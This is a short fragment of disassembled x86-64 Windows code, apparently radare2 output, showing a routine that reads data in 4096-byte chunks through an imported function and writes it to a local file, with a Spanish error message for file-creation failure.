mov rax, qword [dbg.__acrt_iob_func]
call rax
mov rcx, rax
lea rax, str.Error_al_crear_el_archivo_local_n
mov rdx, rax
call sym.fprintf__iobuf__char_const__::_
mov rdx, qword [0x140011588]
mov rax, qword [rbp + 0xfc0]
mov rcx, rax
call rdx
mov rdx, qword [0x140011588]
mov rax, qword [rbp + 0xfc8]
mov rcx, rax
call rdx
mov eax, 1
jmp 0x1400026d7
mov dword [rbp + 0xfb4], 0
jmp 0x140002657
mov eax, dword [rbp + 0xfb4]
mov ecx, eax
mov rdx, qword [rbp + 0xfb8]
lea rax, [rbp - 0x50]
mov r9, rdx
mov r8, rcx
mov edx, 1
mov rcx, rax
call sym.fwrite
mov r10, qword [0x140011580]
lea rcx, [rbp + 0xfb4]
lea rdx, [rbp - 0x50]
mov rax, qword [rbp + 0xfc0]
mov r9, rcx
mov r8d, 0x1000
mov rcx, rax
call r10
test eax, eax
je 0x140002694
mov eax, dword [rbp + 0xfb4]
test eax, eax
je 0x140002694
mov eax, 1
jmp 0x140002699
mov eax, 0
test al, al
jne 0x140002631
mov rax, qword [rbp + 0xfb8]
mov rcx, rax
call sym.fclose
mov rdx, qword [0x140011588]
mov rax, qword [rbp + 0xfc0]
mov rcx, rax
call rdx
mov rdx, qword [0x140011588]
mov rax, qword [rbp + 0xfc8]
mov rcx, rax
call rdx
mov eax, 0
add rsp, 0x1050
pop rbp
ret